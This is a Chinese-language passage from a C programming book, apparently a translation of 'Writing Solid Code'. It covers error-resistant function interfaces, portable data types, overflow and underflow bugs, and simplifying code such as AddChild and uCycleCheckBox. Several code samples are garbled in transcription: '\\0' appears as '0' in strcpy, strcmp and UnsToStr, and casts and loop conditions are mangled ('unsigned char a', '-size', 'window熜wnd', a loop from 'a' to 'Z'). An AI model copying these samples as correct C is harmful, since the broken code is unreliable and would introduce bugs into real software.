/* getchar - 跟getc(stdin)有着相等效果。

*

* getchar传回stdin的下一个字符。

* 当错误发生时，它会传回一个整数的EOF值。

* 典型的用法是

*

* int ch; // ch必须是个整数型态的变量，以装下EOF值。

*

* if ((ch = getchar()) != EOF)

* // 成功 - ch就是下一个字符

* else

* // 失败 - ferror(stdin) 可以告诉你错误的型态

*/

int getchar(void)

.

.

.

如果你把两份说明都丢给一名刚学C语言链接库的程序员，你觉得哪一份比较能让人注意到使用getchar的危险性？你想她会自己写个新函式来读取字符，还式照抄你写的文件中的标准用法来满足需求？

帮函式加上说明文件的另一个正面副作用是，如此一来，它可以强迫一名吊儿郎当的程序员停下来想想其它人怎么使用他们的函式。如果一名程序员写了一个接口冗笨的函式，他应该会在试着写出"典型用法"的范例时，发现这样的接口实在不好。不过即使他没察觉这样的接口问题，只要他提供的例子完整而正确，那也就没关系了。如果realloc的文件说明提供了一个如后面这样的范例，你觉得怎样？

/* realloc(pv，size)

...

一个典型的用法是

void *pvNew; // 用来检查realloc失败的情形

pvNew = realloc( pv，sizeNew);

if (pvNew != NULL)

{

// 成功 - 更新pv

pv = pvNew;

}

else

// 失败 - 不要把原有的pv改成pvNew的NULL值

*/

void *realloc(void *pv, size_t size)

.

.

.

经由复制这样的范例，一个不太小心的程序员就更能避免本章稍早提到的内存遗失问题了。你的例子没办法保护所有程序员，可是这样的说明就像药罐子上头的警告，能够影响某些人，产生一些助益。

不过不要将使用范例当成设计完善接口的替代做法。getchar跟realloc都有着容易引人出错的接口－它们的危险性应该被消除掉，而不光只是把它们的危险性说出来就好了。

注释说明潜在危险。

恶魔躲在细节中

设计防弊接口不难，但需要多思考些，也需要有意愿放弃根深蒂固的程序写作习惯。本章的建议说明了接口上的简单改变能怎样让程序员们不用花太多脑筋就能写出正确的程序来。综观本章，关键的观念在于"让每件事都尽可能明白而清楚。"如果程序员了解而且计得每个细节，他们也许就不会出错了；不过程序员们还是会犯错，尤其在他们忘了或根本不知道重要细节时。让程序员们不容易无意间将细节遗漏；设计个防弊的接口吧。

快速回顾

? 建立易用而易懂的函式见面：确定输入跟输出各址代表一种资料。在输出入参数中混合错误跟其它特殊用途的值只会弄乱你的接口。

? 设计强迫程序员们思索如错误处理等重要细节的函式接口，不要让他们易于忽视或遗忘细节。

? 考虑程序员们必须如何呼叫函式的问题。在函式接口中找寻会让程序员们不经意的制造错误的缺失。特别重要的是：努力将函式写成一定会让呼叫者不用处理错误状况的形式。

? 增加清晰性，并经由确定程序员们可以了解对函式呼叫的用法来减少错误的发生。神奇数字的挑选跟布尔型态参数的使用背离了这个目标。

? 将多功能函式拆开来。拆开后的函式名称不只增进可读性（像是以ShrinkMemory取代realloc），还能以更严格的除错检查来自动找寻错误参数的问题。

? 说明你接口的用法，让程序员们知道如何正确呼叫函式。强调危险的地方。

该多想想的事

1. 本章开头的strdup函式配置了一块内存给复制的字符串，可是会在内存配置失败时传回NULL。该怎么帮strdup设计一个防弊接口？

2. 我提到布尔输入值的使用并不是最好的函式接口设计方式，那布尔输出值呢？例如，如果fGetChar失败了，它传回一个FALSE，要求程序员呼叫ferror(stdin)来找出错误原因。有没有一个更好的getchar接口？

3. 为何ANSI的strncpy函式会让粗心的程序员犯错？

4. 如果你熟悉C++的inline含入函式限定字，描述一下它对于写作防弊接口的贡献。

5. C++提供了类似Pascal中VAR参数的&参考参数语法。不用再写成底下这样

6. flag fGetChar(char *pch); /* 函式雏形宣告 */

7. .

8. .

9. .

10. if (fGetChar(&ch))

ch存放了新的字符...

而可以写成

flag fGetChar(char &ch); /* 函式雏形宣告 */

.

.

.

if (fGetChar(ch)) /* 真正传过去的是&ch. */

ch存放了新的字符...

表面上，这似乎是个改进，因为程序员们不会"忘记"一般C语法中明确要求的&了。可是这样的用法为何不但不能防弊，反而容易产生错误？

11. 标准的strcmp函式取得两个字符串参数后，将两者的每个字符进行比较。如果两个字符串相等，就传回0；如果第一个字符串小于第二个字符串，就传回负值；否则传回正值。那么，当你呼叫strcmp时，程序代码通常长这样子：

12. if (strcmp(str1, str2) rel_op 0)

13. .

14. .

.

这里的rel_op是==，!=，>，>=，<或<=其中之一。可以这么用，可是除非你熟悉strcmp函式，不然这样的程序代码一点意义也没有。说明一下至少两个别种字符串比较的函式接口。这些接口除了应该要能防弊，还要比strcmp接口要有可读性。

学习计划：

复习一下标准C链接库，然后重新设计出更具防弊性的接口。将函式改为更能让人理解的名称的优缺点更为何？

学习计划：

找寻一大段程序中所有的memset，memmove，memcpy跟strn型的函式（strncpy等）。这些呼叫中，有多少个要求函式要接受长度为0的参数？你的组织要求这样的便利性更甚于纠正这种用法容易产生的错误吗？


危險的做法

危險的做法

如果你把程序员放在悬崖上，给他一根绳子跟滑翔翼，你想他会用什么方法到悬崖下头去？他会用绳子爬下去，还是用滑翔翼飞下去？我不知道他用用哪一种方法，不过我打赌他绝对不会直接跳下去－那样子作太危险了。不过有时候，当程序员们在好几种可能的程序写法之间决定要采用哪一种做法时，他们往往只考虑到程序大小与执行速度，而完全忽略了那样作的危险性。如果在悬崖上的程序员忽视了危险的存在，而采用了到悬崖下最快的方式，你想会发生什么事？你会听到跳下去的程序员发出一声惨叫。

至少有两种让程序员们忽视危险性的存在的理由。

有时候，程序员们忽视危险的存在，因为他们盲目认为自己写出来的程序一定不会有问题。当然没人会说"有什么好猜的，我要写的不过是个quicksort子程序，我计划让程序里头有三个错误。"程序员们不会计划要写出有问题的程序，不过他们对程序出错也不会太吃惊。

不过我相信程序员们忽略了危险的存在的最主要理由，是因为没人交他们这样思考，"这种做法有多危险？""这种写法有多危险？""有更安全表达出这个点子的方法吗？""这种做法有办法测试吗？"思考这样的问题时，你就会丢开那种让你相信不管采用哪一种写法都能让你写出零错误程序的观念。也许你本来的观念有充分的根据，不过问题是你要花多久才写得出零错误程序呢？当你采用安全的写作方式时，你是不是只要花几小时或几天就写得出零错误程序？如果你忽视危险的存在而制造了要花时间找寻跟修正的一大堆错误，你是不是得花好几星期到好几月的时间才写得出零错误的程序呢？

我在本章中到处都会谈到由一些常见的程序写作方式而来的危险与如何削减，或甚至去除那些危险性的方法。

一个长整数资料型态有多长？

当ANSI委员会检查许多平台上使用的各种C语言开发环境后，他们发现C语言并不是个普遍以为的具有真正可移植性程序设计语言。不光是每个系统上的标准链接库都不统一，连前置处理器与语言本身都有重大的歧异存在。ANSI委员会标准化了大部分有问题的地方,让程序员们有个写出真正可移植到不同平台的程序代码的依循标准,可是他们却大大漏掉了一个重要的地方，资料型态的本质定义。ANSI标准中并没有集中定义char，int，long这些资料型态，反而将这些资料型态的细节交给编译器写作者去处理。

所以，一个符合ANSI标准的编译器可以有32位宽的整数跟有号的字符型态，而另一个一样符合标准的编译器则可以有16位宽的整数跟无号的字符型态。即使有这些深刻的不同处，这两个编译器还是可能符合ANSI标准的严格规范。

看一下这段程序：

char ch; /* 宣告一个字符变量ch */

.

.

.

ch = 0xFF;

if (ch == 0xFF)

.

.

.

我要问的是，这个if叙述里头的比较式能够正确评估出结果吗？

当然这个式子会被评估为TRUE－你确定吗？正确答案是，你不知道；这问题的结果完全取决于你用的编译器而定。如果你的字符内定是无号的，这比较式就会成立。不过在一个将字符型态当成有号数处理的编译器上，在80x86跟680x0微处理器上执行的编译器常见这种情形，这个比较式永远都不会成立，而原因就跟C语言变量值域扩展规则有关。

在前面的程序中，字符变量ch是跟一个整数0xFF进行比较。依据C语言变量域扩展规则，编译器必须先将ch当成一个整数，才能跟兼容的资料型态进行比较。如此一来，当ch是个有号数时，正负号扩展的结果会让它的值从0xFF变成0xFFFF（假设你使用16位的整数型态），因而让比较结果不成立，虽然看起来这个比较式应该永远成立。

我把上头的程序当成是用来指出我的论点的范例，你可以说这例子不过是个不实际的程序代码片段而已，可是你底下这个常见的程序片段中也会碰到相同的问题：

char *pch; /* 宣告pch */

.

.

.

if (*pch == 0xFF)

.

.

.

字符型态并不是这类不良定义行为的唯一受害者；位字段的情形也差不多一样糟糕。底下的位字段型态的数值范围多大？

int reg : 3;

再一次的，你不知道。即使reg被定义成个整数型态，暗示说它是个有号数，reg还是有可能依照你用的编译器不同而被当成有号数或无号数处理。你必须使用signed int或unsigned int来清楚的将reg定义成你要的型态。

还有，一个短整数有多短？一个整数有多宽？一个长整数又多长？ANSI标准没说，而是将这些通通丢给编译器写作者去决定。

我不想让你以为ANSI委员会的成员们不晓得这个资料型态的不良定义行为的情形，事实并不是那样。事实上，它们检查了许多C语言开发环境的实作后，归纳说，资料型态的宽度在各种不同编译器间都不一样，定义出一个严格的资料型态宽度规范将会让太多现有的程序代码都得重新改写过，那将违反ANSI委员会的一个指导原则：现有的程序也很重要。它们的目标不是建立一种更好的程序设计语言，而是将现有的东西标准化，不管可不可以，他们不会去破坏大部分现有程序代码依循的东西。

定下严格的资料型态规范也会违反ANSI委员会的另一个保留C语言原始精神的指导原则：即使牺牲可移植性也要让程序跑快点。如果一名实作者觉得有号的字符型态在特定机器上会更有效率，你在这机器上用的编译器就会有这样的设计。这种注意执行速度的原则也代表着实作者有权决定整数是16位或32位宽的，或任何其它对特定硬件"自然"的宽度，那也表示说你无从晓得位字段型态会是有号的还是无号的。

我在这里要说的是，这些基本的资料型态在规格上有漏洞，你可能在下一次编译器升级或换另一牌编译器、换到新的目的平台、跟其它小组与公司共享程序代码时，或是在你换个工作后，发现自己用的编译器的规矩全变了，而掉进这些洞中。

这并不意味着你不能安全的使用基本的资料型态。你还是可以安全的使用那些东西，不过要降低风险，你不应该假设你用的资料型态有任何ANSI标准没清楚指定的性质。

举例来说，只要你在字符型态变量中只用到有号跟无号数保证交集的0到127范围内的值，你就可以安全的使用字符型态的变量。所以底下的程序代码在任何编译器上都有效，因为它不预设变量域的范围大小：

char *strcpy(char *pchTo, char *pchFrom)

{

char *pchStart = pchTo;

while ((*pchTo++ = *pchFrom++) != '0')

{}

return (pchStart);

}

而底下的程序则没办法在所有编译器上都正常动作：

/* strcmp - 比较两个字符串。

* 如果strLeft < strRight，就传回负值。

* 如果strLeft == strRight，就传回0，

* 否则在strLeft > strRight时传回正值。

*/

int strcmp(const char *strLeft, const char *strRight)

{

for ( ; *strLeft == *strRight; strLeft++, strRight++)

{

if (*strLeft == '0') /* 字符串结尾？ */

return (0);

}

return ((*strLeft < *strRight) ? -1 : 1);

}

上头的程序代码不具可移植性，因为最后一行的比较有问题。当你使用<或其它使用正负号信息的运算子时，你就会让编译器产生出不具移植性的程序。strcmp修理起来很简单，把strLeft或strRight宣告成无号的字符指针，或在比较式中转换一下资料型态就好了：

(*(unsigned char *)strLeft < *(unsigned char *)strRight)

记住一条值得抄下来贴在墙上的好规矩：别在表达式中使用没指定有无号的字符型态资料。位字段型态的变量也有相似的规矩，因为它们有着相似的问题，别用没指定有无号的位字段型态的资料。我说"别用"，因为位字段宣告前头的int本身就会误导人。

如果你读过ANSI标准，并保守的解释内容，你就可以得到一组良好定义而具备在三个最常见的数值系统上的不同编译器间都能安全使用的资料型态－这三种数值系统分别以一的补码、二的补码跟正负号直接标示的方式来表示二进制制系统中的正负数：

char 0到127

signed char -127（而不是-128）到127

unsigned char 0到255

大小未知，但不小于8个位

short -32767（而非-32768）到32767

signed short -32767到32767

unsigned short 0到65535

大小未知，但不小于16个位

int -32767（而非-32768）到32767

signed int -32767到32767

unsigned int 0到65535

大小未知，但不小于16个位

long -2147483647（而非-2147483648）到2147483647

signed long -2147483647到2147483647

unsigned long 0到4294967295

大小未知，但不小于32个位

int i:n 0到2n-1-1

signed int i:n -(2n-1-1)到2n-1-1

unsigned int i:n 0到2n-1-1

大小未知，但至少有n个位

使用具可移植性的资料型态

一些程序员会在乎具可移植性的资料型态比起使用"自然"的资料型态要没效率。例如，整数型态应该是对目的平台在大小上有着最佳效益的资料型态，那代表着它的"自然"大小可以大于16个位而能够装下大于32767的值。

假设你的编译器使用32位的整数资料型态，而你有个值得范围在0到40000之间。你会因为机器能够有效使用整数资料型态来处理40000这个值而使用整数资料型态，还是因为会为了可移植性而使用长整数的资料型态？

这里有个相当狡猾的答案：如果你的机器使用32位整数型态，它大概也能使用32位长整数型态，而两种资料型态的程序代码就算不相同，也会是相似的（至少到现在这都是成立的），所以你应该使用长整数的资料型态。即使你担心在未来的某些你得支持的机器上处理长整数会没效率，你还是应该使用具有可移植性的资料型态。

好吧，也许你不需要担心程序的可移植性，不过你可以把这问题当成帮料理台选择新磁砖花色看待。如果你的行为与大多数人相似，你会挑选你喜欢的磁砖花色，并会考虑至少让将来买你房子的人能够忍受的样子。如此一来，你会得到一个你要的磁砖图样，同时不用在卖房子时把那些磁砖全部打掉重铺。在许多时候，写出具有可移植性的程序跟写出不具可移植性的程序一样容易，所以你可以将这个问题与选择料理台磁砖花色的问题一同看待。帮你自己省下未来改写程序的功夫－尽可能写出具可移植性的程序。

使用良好定义的资料型态。

你的资料会溢位吗？

最可恶的程序错误中有些会让程序看来似乎是对的，可是却因为一些潜在实作上的问题而出错。没指定有号与否的字符资料型态的问题就有这种特性，而底下这个初始化标准的tolower宏使用的检索表内容的程序也有同样情形：

#include <limits.h> /* 带入UCHAR_MAX的定义。 */

.

.

.

char chToLower[UCHAR_MAX+1];

void BuildToLowerTable(void) /* ASCII版 */

{

unsigned char ch;

/* 先将每个字符的对应值设定成本身。 */

for (ch = 0; ch <= UCHAR_MAX; ch++)

chToLower[ch] = ch;

/* 将小写字母转成大写字母。 */

for (ch = 'a'; ch <= 'Z'; ch++)

chToLower[ch] = ch + 'A'-'a';

}

.

.

.

#define tolower(ch) (chToLower[(unsigned char)(ch)])

尽管这程序看来很扎实，BuildtoLowerTable大概会把你的系统当掉。检查一下第一个循环中那个测试条件，你觉得ch哪时才会大于UCHAR_MAX？如果你猜永远不会，你就对了。如果你不认为如此，让我解释一下吧。

假设循环执行到了你认为应该是最后一遍的时候，ch这时会等于UCHAR_MAX。然后，就在最后一次条件测试之前，ch递增成UCHAR_MAX+1，造成溢位，使它的值归零。结果机器就因为ch永远小于或等于UCHAR_MAX而进入无穷循环的当机状态。

当你检查程序时，这种问题会有多容易看出来？

如果有变量发生借位的情形，你也会碰到类似的问题。底下是memchr函式的一种写法，在一块内存中找寻一个字符第一次出现的地方。如果它在内存块中找到了那个字符，它会传回一个指向那字符的指针；不然它会传回一个NULL指针。如同前面的BuildToLowerTable，底下这个memchar的程序代码看起来是对的，却会出错：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char a)pv;

while (-size >= 0)

{

if (*pch == ch)

return (pch);

pch++;

}

return (NULL);

}

循环何时才会终止？当size小于等于0时，循环就会终止。可是这条件会成立吗？不会，因为size是个无号数值－当它的值是0时，--size只会让它发生借位而变成size_t资料型态定义范围中最大的值。

这次这个借位的错误比起BuildToLowerTable中那个更糟糕，因为memchr只要在内存中找得到ch，就会正常无误的动作。即使它没找到要找的字符，它大概也不会把你的系统当掉－它只会继续在内存的某处找寻，直到找到并传回一个指针为止。这将会是个不好找出的错误。

我希望编译器会对这种没指定有号与否的字符资料型态与另外两种刚提到的问题发出警告讯息，可是我发现只有很少数编译器会对这些问题发出警告，虽然技术上没什么理由会做不到这点。除非编译器开发商了解编译器并不只是能够产生好的程序代码就好了，不然你就得靠自己来发掘这类溢位跟借位的问题。

一个好消息是，如果你如我在第四章中建议的去追踪程序的执行，你就抓得出这三种错误。你会看到*pch会在跟0xFF比较之前被扩展成0xFFFF，你会看到ch溢位成0，你也会看到size被借位成0xFFFF。由于这些溢位错误都是潜在的炸弹，你可能花上几个钟头检查程序却找不出这样的问题来，可是只要你使用除错器追踪程序的资料流，这些问题就显得相当明显了。

永远反省一下"变量或表达式会不会有溢位或借位的情形"。

写程序可不能接近就算数了

底下的这个将整数转换成ASCII字符串的程序中可以看到另一种常见的溢位错误：

void IntToStr(int i, char *str)

{

char *strDigits;

if (i < 0)

{

*str++ = '-';

i = -i; /* 去掉i的负号。 */

}

/* 反转数字排列。 */

strDigits = str;

do

*str++ = (i % 10) + '0';

while ((i /= 10) > 0);

*str = 0';

ReverseStr(strDigits); /* Unreverse the digits. */

}

这程序在使用二的补码机制表示负数的机器上，当i等于最小的负数时会出问题（如果是在16位的机器上，最小的负数就是-32768）。常见的解释是因为表达式i=-i中的-i会溢位超出整数资料型态的范围，这十分正确。不过真正的错误在于程序员写这个程序的方式。他没把想要的东西写出来；而只是写了个近似于他要的东西的程序。

他想要的是"如果i是负的，就让它负负得正，然后将i的无号数值转成ASCII字符串。"可是那并不是这个程序所表现的行为，这程序是被写成"如果i是负数，就让它负负得正，然后将i带号的正值转成ASCII字符串。"一切的问题都来自有号数的运算。如果你依循原始设计使用无号数运算，程序就会跑得好好的，而且你可以把程序切成两个更有用的函式：

void IntToStr(int i, char *str)

{

if (i < 0)

{

*str++ = '-';

i = -i;

}

UnsToStr((unsigned)i, str);

}

void UnsToStr(unsigned u, char *str)

{

char *strStart = str;

do

*str++ = (u % 10) + '0';

while ((u /= 10) > 0);

*str = '0';

ReverseStr(strStart);

}

你也许会怀疑这种程序怎么可能运作，因为它跟前一个例子一样取了i的负值。它运作得好好的，是因为即使i是最小负数0x8000，你对它使用"翻转所有位再加一"的取负值方式还是会得到0x8000，这对有号数来说就好象-32768一样，可是对无号数来说，这值却是32768. 这些完全看你如何解释各个位的意义。定义上，将所有位翻转后再加一一定会在任何二的补码系统上给你一个数的负值，可是这完全得靠你将所有位的意义弄对才行。

不过，写得对不等于写得好。前面这程序让人觉得好象写错了的感觉。程序中假设-32768是个有效的整数值，可是并不是这样子－至少在你只使用具有可移植性的资料型态时并非如此。如果你同意-32768是个不具可移植性的整数值，你就可以在IntToStr中加上一个除错检查来避免整个问题的出现：

void IntToStr(int i, char *str)

{

/* i超出范围？使用LongToStr... */

ASSERT(i >= -32767 && i <= 32767);

.

.

.

藉由使用这样的除错检查，你不只是避免了跟特定数值系统有关的古怪问题，也能提醒其它程序员写出更有可移植性的程序。

将设计方式尽可能精确的写出来。

愈不精确的写法愈有问题。

"各行其事"的函式

我彻底检查过Character Windows的程序代码－那是一套微软设计给DOS程序用的文字模式窗口链接库－因为两个使用这程序的主要开发小组－Word跟Works的小组－觉得程序本身笨重又拖泥带水，而且不稳定。我开始检查那程序时，我碰到一个程序员们没把自己设计的东西精确的写出来的例子－这些人也违反了写出零错误程序的其它指导原则。

不过，这是有些背景因素造成的结果。

Character Windows的基本设计很简单：使用者将视讯显示当成一组窗口，每个窗口都有自己的子窗口。设计中，一个根窗口代表着整个显示区域，而这窗口有子窗口：菜单列，下拉式菜单，应用文件窗口，对话盒，跟其它的子窗口，而且每个窗口都可以有自己的子窗口。一个对话盒可能有OK跟Cancel案件的子窗口，也可能有个清单方块窗口，而其中又有个卷动列子窗口。这样子说，你应该能了解这种设计的方式吧？

为了表示这种阶层式窗口结构，Character Windows使用了一个二元树状结构，让一个分支都指向子窗口，称这分支为"孩子"，而另一个分支指向拥有相同上层窗口的其它窗口，称为"兄弟"：

typedef struct WINDOW

{

struct WINDOW *pwndChild; /* 如果没有子窗口，这里内容就

struct WINDOW *pwndSibling; 是NULL */

char *strWndTitle; /* 如果没有兄弟窗口，这里内容

. 就是NULL */

.

.

} window; /* 变量命名方式： wnd，*pwnd */

你翻开任何一本算法书籍都可以找到有效率的二元树状结构处理子程序，所以在检查Character Windows把子窗口放到二元树中的程序时，我有点被吓到。Character Windows中把程序写成像这样子：

/* pwndRootChildren是个指向如菜单列跟煮文件窗口等

* 最上层窗口串行的指针。

*/

static window *pwndRootChildren = NULL;

void AddChild(window *pwndParent, window *pwndNewBorn)

{

/* 新窗口中可以有子窗口，但是不能有兄弟窗口的存在... */

ASSERT(pwndNewBorn->pwndSibling == NULL);

if (pwndParent == NULL)

{

/* 将窗口放到最上层窗口的根串行。 */

pwndNewBorn->pwndSibling = pwndRootChildren;

pwndRootChildren = pwndNewBorn;

}

else

{

/* 如果是上层窗口的第一个子窗口，就建立一个新的兄弟窗口链；

不然就将子窗口加到现有兄弟窗口链的尾端。

*/

if (pwndParent->pwndChild == NULL)

pwndParent->pwndChild = pwndNewBorn;

else

{

window熜wnd = pwndParent->pwndChild;

while (pwnd->pwndSibling != NULL)

pwnd = pwnd->pwndSibling;

pwnd->pwndSibling = pwndNewBorn;

}

}

}

为何使用阶层式窗口？

如果你怀疑使用阶层式窗口有何好处，想想看：这种阶层式排列简化了如移动、隐藏与删除窗口等的动作。如果你搬移一个对话窗口时，里头的OK跟Cancel按键留在原处，那会如何？或者如果你隐藏了一个窗口，而里头的子窗口没被隐藏呢？这些都不是你要的效果。藉由子窗口的支持，你可以"搬移一个窗口"而晓得它底下的子窗口也会跟着搬动。

尽管这窗口结构被设计成二元树，它并没有被当成二元树来用。由于根窗口（代表显示区域的那一个窗口）永远不会有兄弟窗口，也不会有标题，而且它也不能被移动、隐藏或删除，使得整个窗口结构中唯一有意义的就是pwndChild－指向菜单列跟应用程序的子窗口。这会让人觉得把宣告一个窗口结构是件多余的事，而将wndRoot由一个指向最上层窗口的单纯指针pwndRootChildren取代掉。

将wndRoot替换成一个指针会省下几个字节的资料空间，可是对花费的程序空间成本却很巨大。如AddChild般的子程序不能再只是处理一个单纯的二元树，而得处理两种不同的数据结构：最上层的窗口串行跟窗口内的树状结构。更糟的，每个使用窗口指针作为参数的函式－有很多函式都是如此－都得检查特别代表显示"窗口"的NULL指针参数。难怪Word跟Works小组会对这烂东西表示关切。

我不提AddChild里头的问题，只针对设计方式本身讨论，不过我还是要指出这种的写法至少违反三条零错误程序写作的指导原则。你已经看到这些指导原则中的两条了：不要接受如NULL指针般的特殊用途参数，还有把原始设计忠实呈现而不要只是写出接近的东西。第三条指导原则我还没提过：努力让每个函式一次只完成它所要作的一件事。

这第三条指导原则表示什么？想想，AddChild的功能就是在一个现存窗口中加上一个子窗口，可是程序中却有三个分开的窗口插入例程。常识告诉你说，如果你有三份程序而不是一份，你就更有可能会碰到错误。如果你发现自己写了一个函式，函式中你把同样的"工作"作了好几遍，停下来问问自己，你是否可以把同样的工作在一份程序里头就做好。

改善AddChild的第一步简单得很：拋弃最佳化的方式，把原始设计忠实呈现出来。要做到这点，你把pwndRootChildren替换成一个指向代表显示区域的窗口结构的指针pwndDisplay。要加上最上层窗口时，传入pwndDisplay，而不要把NULL传给AddChild. 那样子消除了处理最上层窗口的任何特别程序代码。

/* pwndDisplay指向最上层窗口，在程序初始化时就配置好了。

*/

window *pwndDisplay = NULL;

void AddChild(window *pwndParent, window *pwndNewBorn)

{

/* 新窗口中可以有子窗口，但是不能有兄弟窗口的存在... */

ASSERT(pwndNewBorn->pwndSibling == NULL);

/* 如果是上层窗口的第一个子窗口，就建立一个新的兄弟窗口链；

不然就将子窗口加到现有兄弟窗口链的尾端。

*/

if (pwndParent->pwndChild == NULL)

pwndParent->pwndChild = pwndNewBorn;

else

{

window *pwnd = pwndParent->pwndChild;

while (pwnd->pwndSibling != NULL)

pwnd = pwnd->pwndSibling;

pwnd->pwndSibling = pwndNewBorn;

}

}

这程序不只改善了AddChild（与其它用到那个古怪的树状结构的函式），还修好了本来程序中最上层窗口被逆向插入的问题。够有趣的是，这问题在Character Windows中被逆向处理最上层窗口的权宜之计修好了－不过，这让整个程序变得更肥大。

把工作一气喝成。

不要用多余的if，&&跟反面叙述

新一版的AddChild比本来的好，可是还是把它要作的工作处理了两次。你脑袋中的警铃应该会被那个if叙述给弄得响声大作，那代表着这程序中同样的事情被处理了两次，虽然是以不同方式处理的。式的，有时你当然需要用if叙述来处理一些条件状况，可是许多时候if叙述只是草率的设计或写法的结果－迅速完成一个充满例外的写法比起停下来想出一个完美的做法当然要简单多了。

举例来说，要处理兄弟窗口链上的窗口，你会使用window结构跟里头指向"下个窗口"的指针，不过有两种处理窗口链的方式：你可以传入指向窗口结构的指针，在循环中逐窗处理，或是传给循环一个指向"下个窗口"的指针，然后处理各个指针。你可以用以窗口为主的算法，或以指针为主的算法，现在AddChild的写法就是以窗口为主。

不过当你使用指针为主的方式时，你永远都在用一个指向下个窗口的指针，不管这"下个"窗口是上层窗口的子窗口指针，或是指向它的兄弟窗口的指针。这让你消除了在窗口为主的算法中需要出现的if叙述，因为这么做就不存在判断窗口种类的特例了。如果你把本来的写法跟底下的程序比较，就更容易了解之间的差别了：

void AddChild(window *pwndParent, window *pwndNewBorn)

{

window **ppwndNext;

/* 新窗口中可以有子窗口，但是不能有兄弟窗口的存在... */

ASSERT(pwndNewBorn->pwndSibling == NULL);

/* 使用指针为主的算法处理兄弟窗口链。我们把ppwndNext指向

pwndParent->pwndChild，因为后者是串行中第一个"下个视

窗"的指针。

*/

ppwndNext = &pwndParent->pwndChild;

while (*ppwndNext != NULL)

ppwndNext = &(*ppwndNext)->pwndSibling;

*ppwndNext = pwndNewBorn;

}

上头的程序如果看来有点眼熟，也不用吃惊，它本来就应该很眼熟。毕竟，这只是因为不须任何特例程序代码来处理空串行而闻名的古典"空头"连结串行插入算法的一个小变形而已。

如果你在乎这一版的AddChild有没违反我先前"精确写出符合设计精神的程序"的建议，你不用担心这一点。这程序也许不如你正常所想的实作连结串行，可是它实际上忠实呈现了一种连结串行处理的写法。将一副眼镜当成透镜看待－你认为那是发散透镜还是个聚焦透镜？两种都有可能，完全取决于你怎么看它。

如果你担心程序效率的问题，想想看：AddChild这个最后版本会比只前任何版本产生出小多了的程序代码。即使是循环中的程序，也跟之前版本产生的程序代码差不多－或甚至可能更好。不要以为那些多出来的*s跟&s会让这循环跑得更慢－事实并非如此，你可以自己编译两种版本来比较一下。

去掉多余的if叙述吧。

?:运算子也算是if叙述

C语言程序员们常会忘记?:运算子也是个伪装了的if-else叙述；程序员们为何使用?:而不明白写出if-else并没有很合理的理由。我在Excel的对话处理程序中碰到一个好例子。底下函式中包含的程序决定一个复选框的"下一个状态"：

/* uCycleCheckBox - 传回一个复选框的下个状态。

*

* 给定现有的设定uCur，传回下个应该出现的复选框状态。

* 这函式处理了在0与1之间切换的两态复选框跟在2，3，4，2...

* 之间循环的三态复选框。

*/

unsigned uCycleCheckBox(unsigned uCur)

{

return ((uCur<=1) ? (uCur?0:1) : (uCur==4)?2:(uCur+1));

}

我跟没多想想就用巢状?:写出上头那种uCycleCheckBox的程序员们合作过，不过他们在将自己的名字放进使用底下那个使用清楚的if叙述的程序版本开发者名单之前，就改写COBOL程序去了。大部分编译器，即使是最佳化作得最好的那些，对这两个版本的写法都会产生出接近相同的程序代码。

unsigned uCycleCheckBox(unsigned uCur)

{

unsigned uRet;

if (uCur <= 1)

{

if (uCur != 0) /* 处理0，1，0，...的循环。 */

uRet = 0;

else

uRet = 1;

}

else

{

if (uCur == 4) /* 处理2，3，4，2，...的循环。 */

uRet = 2;

else

uRet = uCur+1;

}

return (uRet);

}

那些会对巢状?:版本产生出更最佳化的程序代码的编译器产生出来的程序代码其实没有好多少。如果你的目标机器上有个有效率的好编译器，你会得到跟这程序差不多的程序代码：

unsigned uCycleCheckBox(unsigned uCur)

{

unsigned uRet;

if (uCur <= 1)

{

uRet = 0; /* 处理0，1，0，...的循环。 */

if (uCur == 0)

uRet = 1;

}

else

{

uRet = 2; /* 处理2，3，4，2，...的循环。 */

if (uCur != 4)

uRet = uCur+1;

}

return (uRet);

}

好好看看这三个版本的uCycleCheckBox. 即使你知道它们的功用正如预期的，你第一眼看到这三种写法时，你看得出来吗？如果我问你，我传入3会得到什么结果，你能简单看出答案是4吗？我看不出来。对维护两个简单状态循环的函式来说，这些写法就好象车子里用过了的机油般一样乌黑而难以理解。

使用?:运算子的问题是，尽管它简单易用，似乎可以产生出最佳化的程序代码，却会让程序员以为一个程序没有更好的写法了。更糟糕的，程序员们会把if版本的程序缩减成?:版本的写法，以取得实际上一点也不好的"更好"解决方案，就好象把一张一百块钱美金的钞票换成一万分美金的零钱，你就以为自己有更多钱了一样。如果这些程序员花时间想出一个不同的算法，而不是把相同算法用些微不一样的写法表示出来，他们可能会想出底下这种简单的写法：

unsigned uCycleCheckBox(unsigned uCur)

{

ASSERT(uCur >= 0 && uCur <= 4);

if (uCur == 1) /* 要重新开始第一种循环了吗？ */

return (0);

if (uCur == 4) /* 是不是第二种循环呢？ */

return (2);

return (uCur+1); /* 都不是的话，就不用管特例啰。 */

}

或者他们会想出这种查表的函式：

unsigned uCycleCheckBox(unsigned uCur)

{

static const unsigned uNextState[] = { 1, 0, 3, 4, 2 };

ASSERT(uCur >= 0 && uCur <= 4);

return (uNextState[uCur]);

}

藉由避免使用巢状?:，你能够想出比看起来较好的算法更好的做法。把查表法跟前面任何一种写法比起来，你觉得哪一种较好懂？哪一种产生更好的程序代码？哪一个第一次写出来就可能完全正确？这应该能让你获得一些教训吧。

避免使用巢状?:叙述。

去掉累赘的程序

很明显的：如果你发现自己必须支持一个特例，至少试着把它从程序中独立出来而不要分散在程序中，好让维护程序员以后不至于遗漏了这些东西而不小心弄出问题来。

之前我给你看过两种版本的IntToStr写法。我没告诉你的是，C语言程序设计书籍中常见的写法－虽然那些书中管它叫做itoa. 那程序代码通常像这样子：

void IntToStr(int i, char *str)

{

int iOriginal = i;

char *pch;

if (iOriginal < 0)

i = -i; /* 去掉i的负号。 */

/* 反向产生字符串。 */

pch = str;

do

*pch++ = (i % 10) + '0';

while ((i /= 10) > 0);

if (iOriginal < 0) /* 加上该加的负号。 */

*pch++ = '-';

*pch = 0';

ReverseStr(str); /* 反转字符串结果。 */

}

注意程序中的两个if叙述测试的是相同的特例。我的疑问是，如我们在之前看到的，当那两段程序可以很简单的合并在单一个if叙述下头时，为何不写成一个if叙述就好了？

有时重复的测试动作并不是在if叙述中，而是在for或while叙述的条件式中，像memchr的另一种可能写法：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char a)pv;

unsigned char *pchEnd = pch + size;

while (pch < pchEnd && *pch != ch)

